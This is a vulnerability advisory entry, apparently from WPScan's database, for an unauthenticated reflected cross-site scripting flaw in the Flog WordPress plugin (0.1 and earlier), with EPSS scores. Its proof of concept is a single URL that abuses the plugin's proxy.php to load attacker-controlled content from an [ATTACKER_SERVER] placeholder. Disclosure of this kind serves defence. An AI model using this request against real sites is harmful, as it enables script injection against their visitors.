Lucene search

K
wpvulndbWpvulndbWPVDB-ID:C3E33C8C-E8E6-4904-ABCB-CFF2D3FDA0D4
HistoryApr 25, 2014 - 12:00 a.m.

Flog <= 0.1 - Unauthenticated Reflected Cross-Site Scripting (XSS)

2014-04-2500:00:00
wpscan.com
9

EPSS

0.001

Percentile

37.3%

The last time it was checked the plugin was still affected and had been closed.

PoC

https://www.example.com/wp-content/plugins/flog/silex-plugin-themes/flash-theme/silex_server/cgi/scripts/proxy.php?url=[ATTACKER_SERVER]/test.html With the payload in the test.html file controlled by the attackers

EPSS

0.001

Percentile

37.3%

Related for WPVDB-ID:C3E33C8C-E8E6-4904-ABCB-CFF2D3FDA0D4